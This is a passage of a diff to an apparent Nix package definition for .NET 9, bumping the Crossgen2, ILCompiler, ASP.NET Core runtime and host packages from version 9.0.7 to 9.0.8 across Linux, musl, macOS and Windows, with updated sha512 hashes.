+        version = "9.0.8";
+        hash = "sha512-IkE1/clVa/ECX5w/hQy1Kt2BEMWjpmPhJJX/IDT6Igd7gckL4Funf31B7MJwGwmACF6uzGYSZHXM4GcyPYTyCw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-svhK1og7b18+H2+pqPDerMtM+nFNI1MjvOFyfZ6Q66ALxDf2v4/TyTvekJqEFTeqAl1dG3tYTChRk5ftd5QSeQ==";
+        version = "9.0.8";
+        hash = "sha512-RiKfoTAn5AeGNBuAANq0Raz91lSkTXFc5xFVNW7Ff7Gtv5unLAVvGfP/xwQVZtLHhIcvmyWo20mYf2uScdk12A==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "9.0.7";
-        hash = "sha512-99F1DpBPJN1n2CUfgTgI69e1UaEzT16bER1ROa7i04LJbla7Y4PTe81/wNfg8BFBXV8k9LJTErLDFTQcLRNK6g==";
+        version = "9.0.8";
+        hash = "sha512-dX1sfzQ+VMxakA/Q1g86LDpZdPAypT3GuYpd0HyzoFUoOMGS0KfQjBlG6Ujz6nGTrBR1627DB8o4UjrCtZO1Mg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-FstPcH3XP9bH8nuTpq129w8M8Qt1LdJqhBNnPJJe6fgwMTaAsHzfmlcDQiPsuXkDY0nDMMug/TUrB3e7xRQwrA==";
+        version = "9.0.8";
+        hash = "sha512-kOOuClCiRSu4qzUzBSnSQJiUtvZb6P0HB/005dDLB7hqVB0AtYRp7qu7qi0y5nYx/c6c0vdBqtyPMPkRx3NXGQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "9.0.7";
-        hash = "sha512-KPYuoUlT2noytN3CQxLSSorNUq0W/6KH8P41j2lXhTW8+EvH34osmFwOKSTZoCSLgZBLgTUhgGS/7sBwqPJgZw==";
+        version = "9.0.8";
+        hash = "sha512-RL39h0pyBnVYPshzvJOJtlbmdKvUvuWgf+tHBzl455jZqfwt7RsPf2WvROXCME0alrExZB6g3VSNbHhoFIo5CQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-hu2Ls1ISDdHRgWoNMDFykHxNGNx5AFf/tSniUEd+Y6filNBm+iwzZlP9Wfb9HQ+N0Dtd4awacc9wxjCibkwiqA==";
+        version = "9.0.8";
+        hash = "sha512-v12pAEBEbWm651O1lVlTZS1NyM/mEhORJ0JcVnEJQpS5u317/uDdqZ7LknIppwQJfqhF2rIg02jS3yElfg8O9Q==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "9.0.7";
-        hash = "sha512-EBmqQ9WVYHtpGaiq4dKlJw1q/RhqKNRu/kTqx0gqyF2KlULEm759WVXvNsTbn5z4rHATmUlvMbKHl6aPGeEGSQ==";
+        version = "9.0.8";
+        hash = "sha512-GfVFJvhYUoJI4WbvOiAgMT4HS1+gMTizEXRuxlL6nmI7fVJNReIWOB3LsEBAaZOJbqBoGtciwVU7Oeu+nsOekQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-JeyTs/3XBT11xNgnJJW91++uJ1waJMoAp+FRQ9CyY9TPYscLOUDTe5cKAy/p0l1lbEOVFbqu/YhpjhJ4S7SH8g==";
+        version = "9.0.8";
+        hash = "sha512-+XMW1cOzIwTSTcnam+tlZPa80BHlvugmxATXttjXY1u1DlJJXZCBHiE0cjCeO99k9VpwFr4g9MRHKgfJcNHKIA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "9.0.7";
-        hash = "sha512-SY7EUX0XS4zl6TIqcv17AO5xQDPxrz0pRX2Bzn/KboWFObsLNfF4V+1HW4jLbSMsIK97MskDjfaedeNhYy8K0g==";
+        version = "9.0.8";
+        hash = "sha512-tGARYv1U56BWPK0A3/2KmtYNPBSovSxIRVEP/7hh2d8kFbszy3RqzKaFNz4Anf3ZfNHGMrMK2A5DvqEIxR83eA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-sTMXmk+7zY66dB2lTSeqbDAUvMW+iUb86MC5Q6ALnAcQfB0BS0Y0sCFAfqDrjb3+3l2NyGtkLdKA6oI379oWrA==";
+        version = "9.0.8";
+        hash = "sha512-4slzmfzzj8K05cua+22dKz5OwNyYxEBXUzvosh/+jKmgEFpug74PPdTp2sgYliRUxUO/o1O3mWcXxMgp510k2w==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "9.0.7";
-        hash = "sha512-C2yLDWG6qVMh54srzmyNG+w8kl/gU4TPGKkQhtotemLdIaamHyLM8xTW6UQxubC7ygqV73RZ/gip80zGt3zw0Q==";
+        version = "9.0.8";
+        hash = "sha512-3VG/IV40RDsfc1F84fqE4e9t2MZG24pT29acsLpIeIt0K8GbfTFG9yPDK8/XXWqAqDSdVuVrLzQKHHFbN1hFVg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-9hmu86MCK6T8374cYyl+AbPpgocORRD7kPKlFjMp2vKusZSWvc5QhS3DvPD6Im9cS7wiiXNhN/IxIvMuOuA2yA==";
+        version = "9.0.8";
+        hash = "sha512-QIrPBAMJx0FBhFDMTwjwKm0Wp32egd3Zb6Fy454VkhWKq+bHZStSVVeLIfNnpemqZn5ULkmCQQWoOooAw21I7g==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "9.0.7";
-        hash = "sha512-g3WkCqIJocgTL0Ggcci/wRM57+APJh80V8dJtp2dK2ol2lYdR4cH2UcRLY/ePIPwpYZrbM4jbW1Pom3C9AjLEg==";
+        version = "9.0.8";
+        hash = "sha512-kauELS7o6BPUFsLueozrv/dtUgY3HYlK8xxlsWkQNMILiTWhmkNoXyptjFAc8sCdthPTXryws5DFBg4A+kxmYQ==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "9.0.7";
-        hash = "sha512-F978bKpKaTVK7yUMWyN99AxsaK6AmkOOkUelyGJLT2MGGNtUyEYoqG6Z9xlm6xMYNGYo5qiSPcFAjZsOXq7Jpw==";
+        version = "9.0.8";
+        hash = "sha512-1C0R3FapqJo3Cu+DyMX0mwKVFTRtJnQNtQ0TOWEnT1N8lH/PRDsZH+tHal3U7/PkdWY9D1FmbsKQ7uxZNOmeKw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "9.0.7";
-        hash = "sha512-jDGelxUC3MZT30iJzCQDgbTcHfnbeDUDnRYtNfQ2czkaRfrQcgfZrPWX34KRuU61KAxpLLYg9heUbmnevM4aIQ==";
+        version = "9.0.8";
+        hash = "sha512-4p6EKTtSGhY4WV3XbdNVsNnWl7JvZkzmCBJImCIqY4eB0kV8BpqbNCO0kopi7gNmNGWsp97yPI4D3HuFi+IQHg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "9.0.7";
-        hash = "sha512-P8KiD0vwj2ocq/3D/a3vxAkqB/FXHuZl1Os+lcqu4f4k3LmBsju2R+WZnsWljWCEfAm6bwjmtyMchPQnzkmVaQ==";
+        version = "9.0.8";
+        hash = "sha512-opZhwxdkU3wGOc42sLvsaoEfZ6cIzB0VfYlTowUeLqISP6Bw1YLE2x9y5IXjVHbRp6sKyIDQyrs45h4+MzLTMQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-j3jihG333llTYG6zr9lCKGj7OPHjZE4hc5RHNkWJShJKecFHMnPk9UkFfzgyf6FouM1K4gA/OyZT/wjmDmdf2w==";
+        version = "9.0.8";
+        hash = "sha512-5vJoOboU6uFIKZxF+oLVoCg7kuH+94YtC+nrO7l8YWdwba2oyWTPXoAfM6HnbzY/g5Omcc8oUNlKRZdwBuGBXg==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "9.0.7";
-        hash = "sha512-vQX6KFVBAeIo4SvLwlGw/MivqU3JC7mxsVLlNRQzX9W+vbDLdDgLrruCebjRqSdgDV9xoLx3hLGc5BZOdtOJ9Q==";
+        version = "9.0.8";
+        hash = "sha512-LxFcfH3yCeCTCu4YY0Rw4ZikgDqTD4TTZ19SZSqD69BDw74dKxcmCrQ9/A4d0DAFiqKEMMKTk3EVZ+Bqo/jVHw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "9.0.7";
-        hash = "sha512-M6uGdxBqyzODiOmWE7VmnAYR/O76ZSr9sVNRCwYO7HOZYZylw5y51gRvgW1u4hFeIJxvMWGgicsHQ10FeAEKwA==";
+        version = "9.0.8";
+        hash = "sha512-tyRDrV53rTqdgEZNeWnLqOUpHuTdN0DwWuo726hpftJS0gqh+HpZpGazuzePUToD27O7gNx8Z6+eUbqUvpldKg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "9.0.7";
-        hash = "sha512-atws8JTumHepwLA2m3dKlda/m25s+kYW1ROZD+AlpjQ76MWxa1YYRNVw8WC6eaa3VAqXOQdR9ve2jsBMnjKuwA==";
+        version = "9.0.8";
+        hash = "sha512-jH9WiOhUASzf/3XNOQGZtmkd4Zb+3qjhTB0qItNQO+HqJV8QZI/4XSrK6xEnoJS2J75N8vg/SDCTRi3BbR/qew==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-nGVfOa47L+KNChpXQN5PQjI6CSBFXvH63+EJPcusBiH+BcddA5VPFNGFj/Kb3VCrXNKKGFJR6A0Xlgp2UtQhtg==";
+        version = "9.0.8";
+        hash = "sha512-ldyC7aYLVx8PBpT9/SJw6Gi4pd6fEEMPCwxXpjUPtmhQVqjHKOtSeyt4mERDGlJBY5egNzHkF5Rc99yca20Y9w==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "9.0.7";
-        hash = "sha512-qkZemav26phWQKiDIGhQjEmNYefeSJCUOHIF/eHiaDnRm2ZmE1zn0Gwiva1DtDScDgDpTMAk2LzRQIOUDwjbSQ==";
+        version = "9.0.8";
+        hash = "sha512-kuP8TvuVRSUqTFW+Ui5IfVA8ewaRkerGRW/5ktUnViqtCPQsjkvxLxlWqt1SO4sRW57q9y+QZNDO2dHdNCTd7A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "9.0.7";
-        hash = "sha512-lWz1s0VgvrE2DiDEoWzZALdICtr8+heyyGjut4tnmiclmQq6OooNIj272xxqUTd/fXbMm4SnroE34hUUhkiDHQ==";
+        version = "9.0.8";
+        hash = "sha512-+Iz4IIEdJhFUKsbzFn12YR9lGs3O5XAuXw1e4M4wzzVyoix1J/O7JE/p6Ep/MxdWUrud89hledyBgbk2A7tLEA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "9.0.7";
-        hash = "sha512-nR++CrvFiYs9LGxdTeRR9kVO4tLPV4hXQJuCPEywji0ikT0H71z3i/ZNhCLHOoFseddfb+x8wh0o346H49/Wdg==";
+        version = "9.0.8";
+        hash = "sha512-EKY7/AGlcUsgcMTm+0XJQtGZUH3MXQiIHaUsgK4UvugRzVAdqvwkSAs0un1mc4evvzTgWzMl9Yp8HapVWIMdpw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-FrNN5JnBUVIrEjEggGLyKsQBhPmUUSHXtlSGo1A5YuAwNUtepbTbwLMCcrEfNJgNQ38+L8naAGu1ZqKtcRZt+g==";
+        version = "9.0.8";
+        hash = "sha512-pnIOiulipfx52mhy96M3v21YBsDYfzLJ21hr7tHCNaWtnBsr5dsnIfVNPUvaQQ2QJcadmrkoyhk18Dmb3QTmog==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "9.0.7";
-        hash = "sha512-ljwTM1F5KPl0wWaDks91B4+UHaSrPE9G6/U3vqQKspYXjd7D4cI/xBhnIrQrae5ntPAXHwk03Rt0VsbkIP41wA==";
+        version = "9.0.8";
+        hash = "sha512-lzTfzT1Yd2o4KG8z+qu+CwJ1dNV2RhKOrypH6wIRHRd1ewTE3fLTOesq/OAhSJswIxjyG1g0a4K1kL98UfhKlA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "9.0.7";
-        hash = "sha512-wUkyIvfd0uKKSulkzfOTV1ACj9xroqDhAU39Ufz2ZWLoTsjsm1O3+O7KtqEwsJ7pUdy+am9TnIN5pG0hfsFepQ==";
+        version = "9.0.8";
+        hash = "sha512-v2Gg1viOsyHEuZT56c2P0zVUFpZGrYjdzXIsQejjAd6aRGu3Xl23sRob5cM49p4VOq1Ywv8sHAB1lhVwa7Mxjw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "9.0.7";
-        hash = "sha512-HoPuExDtKhtkoJGwq+B6mDzTKtjKgrwIij0u9954TfjZyDDwJozmEnFgtoZZ4ltTH0sguKL1JSN7GFYFkQq3BQ==";
+        version = "9.0.8";
+        hash = "sha512-jcMcr02ix+UM7wfSuSHGO/ZVbjDllhEQo0G6hPvL0n+8qQAu7p694JbFCVO+1h+wMOgudlFOBPLSb8ucTHb4Mw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-3qlad7bv/DSNzxH/mgvwM//MX4fA1OQmGjyBM6eujEm/K387JQ4OUgtpXHsu8jHvRARCuFB/qNacxbzvYInh4g==";
+        version = "9.0.8";
+        hash = "sha512-rephD4BBZWGzDM0nBn/IJCKyUaHhFFweXlZDQg7SzADACJDhr7pnAXr6WBDWBOZvtoScDO42W9SXBxebLlee0w==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.7";
-        hash = "sha512-sl8QufxXNfWIxOjZQtFJJG+5zRWZtxQc0CMOtVF5SURkZLz2Hy9KwF6bz2tlljohK/Akf0udaeYK2XhnHIKiug==";
+        version = "9.0.8";
+        hash = "sha512-Fdc0fvuu9ufeF05mPezAlQGjNw48O0050itpfpc2xaPz6Tkmt4t4QS46iHKUlek3eosQo+TWgKr8+ydA2rTtiQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "9.0.7";
-        hash = "sha512-8TsHIOl31DLvkBgj8mHbjP6eSK5wpIGygkdSrBqUJbs+k6MIQrblw5Q6HwMsS8LcRtxvZ4PtoEBubvie/dGSfg==";
+        version = "9.0.8";
+        hash = "sha512-IbAy/N9knqt52d8Jg0ZPlht8PLGlxFrkUFGLOu9q1B6wyNAxcr+SNcAuqIQndV2aiC1JX1LxF+Z/RtR/dllmMw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.7";
-        hash = "sha512-SXg/5ySrWhQuauFbw09ydh6uJadEAWSfOVDwdEb4Tbd+DkCkjk/bjGn0ALBcM8iEjLbbRMvPOd536pS07fQnWg==";
+        version = "9.0.8";
+        hash = "sha512-eiuv/paMs3fiSFeGtP6EvmappnNAPl6oSWJJGPPcGCyjHKlvbvXXAGB4bo1gh08bDfyh42y9tzkFjj+N3eoJ8Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-5wYYJd1dr4n/CF/EOHVq4LT2KlEojcl5IWSxa0y4/fdO/1SEKOEPDBKqnR9kiPbNKTB4RRFehQr/kkaY6bCwsQ==";
+        version = "9.0.8";
+        hash = "sha512-n3582g9jXAzHDeBllHPjaihaGd8Q5ZMKgSh/2NpVB0SRw3Ie7jCHBloadFAqsz4CbMqBqz9bcwWJSs3UelF6Cg==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "9.0.7";
-        hash = "sha512-zTbTJ3M1BSPPTHkk4KHZJyrK6DhpMUiryHBZ1AYcRlLYCK6ZIpAjv4izhMQHAxMIqz6ovLZVuvc7vU8aKG9qrA==";
+        version = "9.0.8";
+        hash = "sha512-7Iu6w3otpfLf3PDvtus6k0DHYfyFiZ4/FrltO/3+7CPhYYNWtz69/CS7zMUbSebr47CMtGxDHa7sgwRhuQ0udg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "9.0.7";
-        hash = "sha512-ci5Uyc/L/+JSEsM6XtuY2W/94KWhAU6K/txAf7FXoups3/kLRQfSSTeSTZ3W6WbUuI2w40Xl0YYOHTo4lTSDJQ==";
+        version = "9.0.8";
+        hash = "sha512-2MV4Mm2P0a7Xj33qe2DhxcUxORg4rOBx1MPrmFScypuzqwlcm7Ky6ValuVodGVAeziqxewG+TwEfQ+tlQtKTKw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "9.0.7";
-        hash = "sha512-/RSgn8w2zG9pJOQx3qtyce5zvFHxGc3TV3BOTCa9IDM0U33rbNiLg3GEEaodvAuiXkY3jsnDd4HT5ZOHnfboAg==";
+        version = "9.0.8";
+        hash = "sha512-jx7ySFpxyeGIGu2e/RwWI5Qp0/Qi+7LLAnGa3p2ErCbEmx8cQpfzGijxKekjEhtOVIEFt3XDVUBaiShiFCAp7w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-6vAs0KI14hm+AnP9gBoykxOadgp456o62SJ+o6yFDVqxn+nWb7t4Mra9oLi6YWH69m8mVQN6x0QCusDwdtgKuQ==";
+        version = "9.0.8";
+        hash = "sha512-DAzBxlAn4kHG5UPmIIcNzLyVOFWmsSw3FBFE2k1gFBINRJQxsch/OYGeHJOvcV9AE1kCdOpwfvXkAuYsZ1yqJw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "9.0.7";
-        hash = "sha512-vKDr+mIfrFC4pGBS7xsN4kqa6YMXezozSfeWIgi9NUzI1tlrRIZrwEla6eIuU/tUzZrrE67bju4R3BnrFSTtwA==";
+        version = "9.0.8";
+        hash = "sha512-7/dik29myG9DpI57mqgQUZKBqUTch4gJPUVTsGwCrpX/+2fCRUMh6wTDZKVJigQmIEAOPDmjVjLsB/46QhCDdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "9.0.7";
-        hash = "sha512-oYJlCtnHBn3dWqOgyE1E4ng+lXJRPzWNYsf+lj00bCLFkjaTLBmG35hMlkZ1ZmZDPBU4VvOuHDyVx3/QLJVheQ==";
+        version = "9.0.8";
+        hash = "sha512-bCH5hRqBpZXNuNO2xmhx4EmZtP6qvH7qlNP3neR9LhaRR2V6ttRwH2LOPZNaMiroNo1V4T+aDYsqP+4blJ7vFg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "9.0.7";
-        hash = "sha512-34Y4PO3TmpEaBf7DOQUlckzuJb6G7s3xubcJP3xPrwbLsVstOL6SGKBofWqjyygH3i4VgLYc3bqxoYDryXX2mw==";
+        version = "9.0.8";
+        hash = "sha512-VKdx5FBTl0DJSx3tXhSpEQmveT3plCbxvWmDiNmpZ1mroNunXT8F5HLfpnHBLfJ/AYoA/aR/rDDLK5521EjScg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-RPzpHiUrXTqW/hLeUqZDA9AFSkVseZmvWY0wwjD5GGKsTRzQS0yT42PIVqsHbEN/nHRRKWyvTN7tokyYz+MiRQ==";
+        version = "9.0.8";
+        hash = "sha512-Jzq382A89/24L3mRaWqD7SBzBO8Q3gFPksq5xnMrkt/kvTES68kMChvime8TE9Swq22vQNdmWc7Oleco/VsocA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "9.0.7";
-        hash = "sha512-GOs5KT4SIzSpfe0WPbFVhnA8+klHq8FbfDeDUTvbhSIClPLEfwheeaM+HuQpZTzxpOaMTWcmrawm33ia3NZyMg==";
+        version = "9.0.8";
+        hash = "sha512-gsCIp/l+fBFkghgipU7AlJmbN9mBioZ0gTJ/71Ue3brd8oT+JTHljk7Byth43Wz/QHqvW6NtMfB/KMba+Ovcrw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "9.0.7";
-        hash = "sha512-4oU3yJfh3HRrvRrCC2QU5wwhqiLc1Zl6Py4cmBVFgNdHOTk38/gt43tWiRBAL+xNr0mX0cltGPMirFdtFZt1wg==";
+        version = "9.0.8";
+        hash = "sha512-1bPBwHyTuD+bM2mIs/lDzPSbxUv3td2KvxqoslykADooEXMkEldhP4h6GRJabTygMKzpG36kaUbVhmY0Z3YzQg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "9.0.7";
-        hash = "sha512-cWumHZc5W8yX5c00U3t4WUymi16KojHUMgSkla5NvzuVPmDpopVKsiRB3j+iQtwA14apPr9fe11srPVVMH4WEw==";
+        version = "9.0.8";
+        hash = "sha512-iOBFiwX+SH3Sz6Re+xDVTUrdtNzD+A0w4CgmhKyvGEm+S2gXHKptcYTfuHPWxgXkewJfLFGb6SNjcdqpbC2ETA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-BODpAvApSDrrndr/6MIR52Sztu7iXCUt4Tn8ex3ZqDMsWgoiCXe70WT0loozMuU+ZnzsXyJf8m2JSlZ5NMsK+Q==";
+        version = "9.0.8";
+        hash = "sha512-KZKJ7e4Mq8E06pMAtTnyjmk/SqNEEMLHcbESLJ7ggVedHcJA/elymIGepIZP9jSwQjtI1v7ggIc3g9C63QDrtA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "9.0.7";
-        hash = "sha512-nn5X84wpzbMfJ1Vx8fgZdL7cq4d2KxWK3M9GBH4LggzYMnK79YDfoxHl+YLTK5EfqgxFfxunzZdNrpUBDP6F6A==";
+        version = "9.0.8";
+        hash = "sha512-NJTDO+UX/6NpAORJ+AsL177tpbgCTAaSavaDKKTkz8wwdesjcT0OEMa6XveImmOA4KDQsD9dyPZk8CY+y/+6EQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "9.0.7";
-        hash = "sha512-i6qupvYxI42nWLBGcj6Qe6oMPl1uk+9ANDTPz4x29O3/VEeUw7pJZar5dExUcc41cfgA30UHTkyzZ43umrFirQ==";
+        version = "9.0.8";
+        hash = "sha512-LJ3kCcdyacCBeii37XDf8uSWGrkEa2rpwyCQRnQdPKDQKs3QemPqXBiodbUGe40jxsWeg/aTh68ux3E0w5A6ug==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "9.0.7";
-        hash = "sha512-i6rCnWy2wF4dseZ6IQcmBPs/A2rj8Yaji1UilfXyOtRnP3uQazDEC7Pd1JJeqzCTNRBgfvXw3r8IHXTxt107tA==";
+        version = "9.0.8";
+        hash = "sha512-r5eVgUvphRSxeAkmjQsbSQI7phyaFklVs4Mwu4Qgr4HAu+UkZI8UJi23jKbK8B5iUuqj+L2bE6/hNti1XIvQNw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-sJgDF8XETA5JhPSvt3/DOIx9SSTuaG14oKcVpoJX4Yg8pPQJ85IqESoo3VSRR7HQWN/e5Nt6ySu7/jnfXC0szw==";
+        version = "9.0.8";
+        hash = "sha512-KpD57JOPE5YykXteBFpIhQAs5TVrJKWxryEPpW9jdr0K73gGClquXUexYGjiHk++EPTr59aRKcUKQrNyZXOmDw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "9.0.7";
-        hash = "sha512-7p8ELP0eWRjIb7/djqopJYoLoQstaBZFh7vDB91ikkXXlCxyHr14h0CygLkcUELTMvSS0jnAQ+icnYy5NBA0SA==";
+        version = "9.0.8";
+        hash = "sha512-gXQpEX6W6CWyUpmX1zbRE4pGR3c0EJLbBqkXOpqiPpLc/qh6in+tC4MhGWesCNLOsZXf0nlFikBUouKeX4heUA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "9.0.7";
-        hash = "sha512-Yk+dlmzAg05RUkf3C4eUuEwpk+QFSR8lFpIe5EUT9owyCqCYBa2NrkqeRP2XoIPzbqhNIZqB6ChSbpg0wbPMlg==";
+        version = "9.0.8";
+        hash = "sha512-shIJcIsVRmlyuiBNu/OJ0cl3YS2g8LAUwN+r42Jin+HZYkZE5Esf3Zl6KNrBG4JdhZD32jNZ9JE/m0uB0PbLRQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "9.0.7";
-        hash = "sha512-+oZ4sarYCA5fqawFE/9JFJtNnERKCMRY4SBNI6FVKtLomoOKbu5LxdxcV4SWYBqfXg08fWJEZX8qHr/Mmd/nHQ==";
+        version = "9.0.8";
+        hash = "sha512-ubHRXN/19HpDTzlaXIAJUVOpfgOOnsPwIwxk+rlaO1nv2w74aa8dUQGtPeqNkpo87CSdwpc1uaDe79NLGeY0HQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-ozFg9cjKG8pN56wrFPV+m0wbVyK+cOutTo8LrIVYeL3epXnahBIa6em7POXvJF2FRmTRjD85ASH8xIrVMc7z6w==";
+        version = "9.0.8";
+        hash = "sha512-RFXToE31qPxev1Ei0hosMf8jN9U9hivDSiTWGFaBg8Bjyeai5YZ4JcYfNi3yNyaBKrra8sdPtcKMBHn3JtRnTw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "9.0.7";
-        hash = "sha512-vgQaQhPWngepjw+y9qhNx9b/QDK1YmSlYzjO8WUGfYDPnUn40gLUzMKlPUAAMTPBIt3clULPLy5K6c6w3bvQxg==";
+        version = "9.0.8";
+        hash = "sha512-Hq2Jkbv1dN5A6hojoNpZYsWdHlmALRRZSAxWY6y/bYfwczY7xRXPcwDWcXg3TgURZ3tYDjLAZmKvmkxe8CGOWQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "9.0.7";
-        hash = "sha512-ec2/bdKdUMyYC93cIJ6sqAG5yqdjJ1ikRwy7U12B77HrWMBUOI3UeHRmgcBNw775fYZ8Ut1P15WyaZmCJMW+fQ==";
+        version = "9.0.8";
+        hash = "sha512-iAKhXmVqwtB1oU09QaFgY1rHegt+GczpjlpmKibZCGjewULMevVnFaNTUGgnNKfnFziEy9Ou9khGyRjumrDbsg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "9.0.7";
-        hash = "sha512-yebdLREVWLaayNNfyAu1rffiP4GIpa+Tyz7dhGIF1AlYPWdFHGldYz1eYepzWqqiAXWWgEINQaLD8yaPgRLnSQ==";
+        version = "9.0.8";
+        hash = "sha512-JTcyKAl8lxnWoIptRAw9qdF1wfxKQb6JNs898g/HJQIOBQCuW6DkJy7TAn6QHhJPQ0o5KS4LtG/wCTs05IO3+g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-QAJEJd7C4MErPoK6kjzmL7aTiRYSDXRhl3WwDyGzIEav5Me7jDo1OWAENnRL2jw/tB4FAl0k8ADclshPyZRrPw==";
+        version = "9.0.8";
+        hash = "sha512-SkW+QLlwQVY3G1yYd8ECVY22NtMo+gkGvnzOSQqsQ91e1Ihf8kGtAQ8mX8/NNmM4ekj7XuwsdGK6mt89HNoFXA==";
       })
     ];
   };
 
 in
 rec {
